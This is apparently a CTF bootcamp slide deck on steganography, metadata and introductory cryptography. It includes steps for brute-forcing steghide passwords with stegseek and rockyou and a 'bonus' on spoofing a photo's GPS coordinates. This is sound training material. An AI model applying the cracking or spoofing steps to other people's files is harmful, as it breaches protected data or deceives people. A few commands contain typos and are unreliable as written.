www.ctftech.com Wireshark Select file to be exported and click 'Save' www.ctftech.com Wireshark hands-on Download network capture file ▪ http://shared.target05/bootcamp/imag e.pcapng Extract the image What picture do you see? www.ctftech.com AITÄH! www.ctftech.com Steganograafia ja krüptograafia www.ctftech.com Steganography Steganography is the practice of concealing a file, message, image, or video within another file, message, image, or video. (1) Today, digital steganography is one of the important components in the toolboxes of spies and malicious hackers.(2) Source: 1. https://www.merriam-webster.com/dictionary/steganography 2. https://portswigger.net/daily-swig/what-is-steganography-a-complete-guide-to-theancient-art-of-concealing-messages www.ctftech.com Recent examples of steganography ▪ January 2020: Researchers at Malwarebytes reported credit card skimmer code hidden in image files in compromised e-commerce websites. ▪ January 2020: Researchers at Guardicore Labs discovered a cryptominer that was hidden inside WAV audio files. ▪ August 2019: Researchers at TrendMicro find a new variant of keylogger and cryptocurrency stealer malware LokiBot which uses steganography to hide its malicious code inside a jpeg file. ▪ April 2019: a former GE engineer was charged with economic espionage. The employee had encrypted files containing GE’s proprietary information and hidden them in a photo of a sunset. ▪ February 2019: researchers at ad fraud prevention firm Devcon discovered a malvertising campaign using steganography to hide malicious JavaScript code. ▪ December 2018: Malicious actors used steganography to hide malicious code in Twitter memes. Source: https://portswigger.net/daily-swig/what-is-steganography-a-complete-guide-to-the-ancient-art-of-concealing-messages www.ctftech.com Steganography To hide data in image/audio files you need 'steghide' tool. Type in your terminal ▪ steghide If you see an error 'command not found' Then you need to install it. Let's do so ▪ apt-get -y install steghide www.ctftech.com Steganography Once 'steghide' software is installed you can start using it. Create text file with secret message ▪ echo -e "Secret text.\n\nThis message contains sensitive information." > secret.txt Verify, that file was successfully created ▪ cat secret.txt Steganography Find some image, where you want to embed the secret message. Or download it from here ▪ wget https://upload.wikimedia.org/wikipedia/commons/ 6/64/Cat_side2017.jpg -O image_01.jpg Steganography To be sure, your image was downloaded without errors, let's open it. In Kali Linux terminal type in following command ▪ eog image_01.jpg www.ctftech.com 220 Steganography Now we can embed our secret text message into image (for testing purposes use simple password, e.g., bubblegum) ▪ steghide embed -ef secret.txt -cf image_01.jpg Note! In real life, use strong and complex password! www.ctftech.com Steganography After embedding secret text into the image, let's verify new image file with following command ▪ steghide info image_01.jpg If entered password is wrong, you will see an error message. www.ctftech.com Steganography After embedding secret text into the image, let's verify new image file ▪ steghide info image_01.jpg With correct password, you will see additional information about hidden file www.ctftech.com Steganography Let's extract secret text message from the image ▪ steghide extract -sf image_01.jpg -xf new_secret.txt With correct password, secret text message will be extracted to 'new_secret.txt' file With incorrect password, an error will be shown and nothing will be extracted www.ctftech.com Steganography Now it's time to see extracted secret text message ▪ cat new_secret.txt Congratulations! You successfully extracted hidden text message from the image. www.ctftech.com Steganography Imagine the situation - you have an image or video with hidden/secret text message in it, but you don't have the password. What would be the solution to extract the data from the image? Brute force! Steganography - cracking Let's install steganography cracking program in your Kali Linux. Firstly, move to your home folder and download 'stegseek' software from Github ▪ cd ▪ git clone https://github.com/RickdeJager/stegseek www.ctftech.com Steganography - cracking Now we have to compile 'stegseek' program ▪ cd stegseek/ ▪ apt-get update && apt-get -y install cmake libmcrypt-dev libmhash-dev libjpeg62-turbo-dev www.ctftech.com Steganography - cracking Continue with following commands ▪ mkdir -p build ▪ cd build/ ▪ cmake -DCMAKE_BUILD_TYPE=Release .. www.ctftech.com Steganography - cracking Continue with following commands (it may take some time) ▪ make ▪ make install www.ctftech.com Steganography - cracking Final step, before you can start cracking, is to verify software installation. Type following command in you Kali Linux terminal ▪ stegseek www.ctftech.com Steganography - cracking Now, let's try to crack the password. Jump to your home folder ▪ cd Next step, is to uncompress 'ROCKYOU' dictionary ▪ gunzip /usr/share/wordlists/rockyou.txt.gz It's time to crack ▪ stegseek image_01.jpg /usr/share/wordlists/rockyou.txt www.ctftech.com Steganography - cracking If all went well, then from 'stegseek' command output, you will see filename, where hidden secret text message was saved. ▪ cat image_01.jpg.out Congratulations! You have just cracked steganography file and extracted hidden message! www.ctftech.com Steganography solving tools ▪ https://aperisolve.fr/ If password protected: ▪ Look for exif data ▪ Apply filters https://github.com/Paradoxis/StegCracker https://github.com/apsdehal/awesome-ctf#steganography-1 www.ctftech.com Metadata What is Metadata? Metadata is, information about other data. Many files contain extra or even hidden data other than the visual data you see at first glance. E-books, photographs, movies, music and even documents can contain data that you don’t see at first glance. www.ctftech.com Photos contain 'exif' data that can give you useful information about the picture. Information such as shutter speed and focal length are stored inside an image. Likewise, you can find out where the photo was taken by looking at the location information. 235 Metadata Metadata is "data that provides information about other data". Investigate the EXIF metadata of the image ▪ http://shared.target05/bootcamp/DSCN0042.jpg Find out: ▪ ▪ ▪ When was photo taken? What device was used to take the picture? Where was photo taken? exiftool or online tools (http://exif.regex.info/) are your friends Metadata If 'exiftool' is missing from your system, then run following command to install it ▪ apt-get install exiftool www.ctftech.com Metadata Fetch sample photo ▪ wget http://shared.target05/bootcamp/DSCN0042.jpg View Exif data of the photo ▪ exiftool DSCN0042.jpg www.ctftech.com Metadata To view only GPS related meta information from image, run following command ▪ exiftool -G DSCN0042.jpg | grep -i gps www.ctftech.com Metadata With 'exiftool' you can remove all GPS related data from image ▪ exiftool -gps:all= DSCN0042.jpg -o DSCN0042_nogps.jpg Now view GPS related information from new image ▪ exiftool -G DSCN0042_nogps.jpg | grep -i gps www.ctftech.com Metadata By default, 'exiftool' shows GPS coordinates in DMS (degrees, minutes, seconds) - 43 deg 27' 52.04" N To view GPS coordinates in DD (decimal degrees) format, use following approach ▪ exiftool -gpslatitude -gpslongitude -n DSCN0042.jpg www.ctftech.com Metadata Open Google Maps and enter coordinates. Be sure to put latitude and then longitude. www.ctftech.com Metadata To secure your files (photos, documents etc.), remove meta information before sharing your files. Use 'mat2', to remove metadata from various file formats. It supports a wide variety of file formats, audio, office, images. Install mat2 in your Kali Linux ▪ apt-get -y install mat2 www.ctftech.com Metadata View supported formats ▪ mat2 -l www.ctftech.com Metadata View photo meta information with 'mat2' program ▪ mat2 -s DSCN0042.jpg www.ctftech.com Metadata Remove all meta information from photo ▪ mat2 DSCN0042.jpg New file 'DSCN0042.cleaned.jpg' will be created. www.ctftech.com Metadata Now view meta information in new file ▪ exiftool DSCN0042.cleaned.jpg or ▪ mat2 -s DSCN0042.cleaned.jpg www.ctftech.com Metadata - bonus With 'exiftool' you can modify/spoof GPS coordinates in the image. Let's change GPS location in image metadata to 'Area 51'. According to Google maps, location of 'Area 51' is 37.2431° N, 115.7930° W. ▪ exiftool -GPSLatitude='37.2431' GPSLongitude='115.7930' -GPSLatitudeRef='N' GPSLongitudeRef='W' DSCN0042.jpg -o DSCN0042_new_gps.jpg Metadata - bonus Let's print Google map friendly GPS data from photo with new GPS coordinates ▪ exiftool -gpslatitude -gpslongitude -n DSCN0042_new_gps.jpg www.ctftech.com Cryptography Cryptography is complex mathematics and computer science algorithms. The basic point of cryptography has always been for two people to be able to share secret messages. Without encryption communications over the internet will be very insecure, and it would be very easy for someone to see your data. www.ctftech.com 250 Cryptography - Caesar Cipher The 'Caesar Cipher' tends to be the first example in any introduction to cryptography. The idea of the Caesar Cipher is to encrypt each letter of the alphabet by the letter obtained by ‘shifting’ the alphabet a secret number of positions. Cryptography - Caesar Cipher More information about 'Caesar Cipher': ▪ https://www.xarg.org/tools/caesar-cipher/ ▪ https://crypto.interactive-maths.com/caesar-shiftcipher.html ▪ http://practicalcryptography.com/ciphers/classicalera/caesar/ Cryptography - Substitution Cipher Our next example is the Simple Substitution Cipher, which is a considerable improvement on the Caesar Cipher. www.ctftech.com Cryptography - Substitution Cipher More information about 'Substitution ciphers': ▪ http://practicalcryptography.com/ciphers/simplesubstitution-cipher/ Cryptography - Vigenère Cipher Vigenère Cipher invented in 1553. Encryption and decryption are done by using 26 * 26 matrix table. www.ctftech.com Cryptography - Vigenère Cipher To encrypt a message, you first need to choose a keyword (or key phrase). Key phrase must be same length as the plaintext message. Let's encrypt text "A SIMPLE EXAMPLE" with key "HELLO". First, we have to build a table of letters (spaces must be omitted in plain text message). Key length must be same as plain text message www.ctftech.com Cryptography - Vigenère Cipher Based on Vigenère matrix table, plaintext letter 'A' with key letter 'H', will become 'H' www.ctftech.com Cryptography - Vigenère Cipher 'S' and 'E' becomes 'W' 'I' and 'L' becomes 'T' www.ctftech.com Cryptography - Vigenère Cipher 'M' and 'L' becomes 'X' 'P' and 'O' becomes 'D' 'L' and 'H' becomes 'S' 'E' and 'E' becomes 'I' 'E' and 'L' becomes 'P' 'X' and 'L' becomes 'I' 'A' and 'O' becomes 'O' 'M' and 'H' becomes 'T' 'P' and 'E' becomes 'T' 'L' and 'L' becomes 'W' 'E' and 'L' becomes 'P' www.ctftech.com Cryptography - Vigenère Cipher Final encrypted message will be 'HWTXDSIPIOTTWP'. To decrypt encrypted message, you have to use same key and go in reverse. Text: 'HWTXDSIPIOTTWP' Key: 'HELLOHELLOHELL' www.ctftech.com Cryptography - Vigenère Cipher More information about 'Vigenère Cipher': ▪ https://crypto.interactivemaths.com/vigenegravere-cipher.html Cryptography - Symmetric Encryption Symmetric encryption is a type of encryption where only one key (a secret key) is used to both encrypt and decrypt electronic information. www.ctftech.com 262 Cryptography - Symmetric Encryption Let’s now try encrypting a file by first creating a sample file: ▪ echo 'Greetings from Tallinn!' > greetings.txt Next, let’s run the 'gpg' command to encrypt the file using a passphrase: ▪ gpg --batch --output greetings.txt.gpg --passphrase mypassword -symmetric greetings.txt Now, you should have encrypted file greetings.txt.gpg in your folder. Check it with 'ls -la' command www.ctftech.com Cryptography - Symmetric Encryption Previous method of file encryption is not very safe, because your password was entered at command prompt. To hide your password from terminal history, you can run following command (you will be prompted twice for your password) ▪ gpg --output greetings.txt.gpg --symmetric greetings.txt www.ctftech.com Cryptography - Symmetric Encryption Let’s now try to decrypt the encrypted file from the previous example ▪ gpg --batch --output greetings1.txt --passphrase mypassword --decrypt greetings.txt.gpg View content of decrypted file ▪ cat greetings1.txt www.ctftech.com Cryptography - Symmetric Encryption Previous decryption command example was not very secure, since your decryption password was entered to Linux command line. To hide the password, use following command ▪ gpg --output greetings1.txt --decrypt greetings.txt.gpg www.ctftech.com Cryptography - Asymmetric Encryption www.ctftech.com 267 Cryptography - Asymmetric Encryption Asymmetric Encryption, also called Public Key Cryptography, employs one key for encrypting and another for decrypting the message. All parties must have two (2) keys - one private key and one public key. Private key must be kept secret and must not be shared with anyone. Public key must be shared with other parties, so they can encrypt messages. https://www.baeldung.com/linux/encrypt-decrypt-files https://codingbee.net/centos/openssl-demo-encrypting-decrypting-filesusing-both-symmetric-and-asymmetric-encryption www.ctftech.com Cryptography - Asymmetric Encryption Quick explanation of asymmetric encryption. www.ctftech.com Cryptography - Asymmetric Encryption Quick explanation of asymmetric encryption. The process for the above image is as follows: Step 1: Alice uses Bob’s public key to encrypt the message Step 2: The encrypted message is sent to Bob Step 3: Bob uses his private key to decrypt the message www.ctftech.com Cryptography - Asymmetric Encryption Before you can encrypt files, you need to generate a pair of keys. You will also need a passphrase, so make sure to remember it. Generate private key for user Alice ▪ openssl genrsa -aes256 -out alice_private.pem 2048 www.ctftech.com Cryptography - Asymmetric Encryption Next step, is to extract public key from existing private key ▪ openssl rsa -in alice_private.pem -pubout > alice_public.pem You should have 2 keys in your current folder. Let's verify it with following command ▪ ls -la *.pem www.ctftech.com Cryptography - Asymmetric Encryption Now, let's create private and public keys for another user Bob. Run following commands in your Kali Linux: ▪ openssl genrsa -aes256 -out bob_private.pem 2048 ▪ openssl rsa -in bob_private.pem -pubout > bob_public.pem www.ctftech.com Cryptography - Asymmetric Encryption In real life, once user Alice created key pair, she must share her public key with Bob. But keep her private key secret. Same goes for Bob. After both keys are created, Bob sends his public key to Alice, while keeping his private key secret. Cryptography - Asymmetric Encryption To see how asymmetric encryption works, we will create simple text file. In real life, any file can be encrypted - documents, photos, videos etc. ▪ echo "This message is very secret" > top_secret.txt ▪ cat top_secret.txt www.ctftech.com Cryptography - Asymmetric Encryption To encrypt this secret message, Alice needs to provide three inputs: 1. The name of the file that contains the secret message 2. Bob's public key (file) 3. The name of a file where the encrypted message will be stored ▪ openssl pkeyutl -encrypt -inkey bob_public.pem -pubin -in top_secret.txt out top_secret.enc ▪ ls -la top_secret* www.ctftech.com Cryptography - Asymmetric Encryption To verify, that new file is encrypted, let's check its content ▪ cat top_secret.enc As you can see, content of text file is encrypted. www.ctftech.com Cryptography - Asymmetric Encryption After receiving encrypted file, Bob needs to do his part by decrypting the message. He needs to provide the following information: 1. The encrypted file (which he got from Alice) 2. Bob's own private key (for decryption, since it was encrypted using Bob's public key) 3. A file name to save the decrypted output to via redirection www.ctftech.com Cryptography - Asymmetric Encryption Run following command in your Kali Linux terminal: ▪ openssl pkeyutl -decrypt -inkey bob_private.pem -in top_secret.enc > top_secret_bob.txt Check the content of newly created file ▪ cat top_secret_bob.txt www.ctftech.com Cryptography - Asymmetric Encryption If you enter wrong password, while decrypting the file, an error message will be shown on your screen: Note! Keep in mind, that in real life, you must use strong password for your private key. And your private key must be stored securely. www.ctftech.com Cryptography - Asymmetric Encryption Congratulations! You have learnt how to encrypt files using symmetrical encryption - where single key file is used for both actions. Also, you have learnt, how to generate private and public keys and how to use them for asymmetrical encryption. www.ctftech.com www.ctftech.com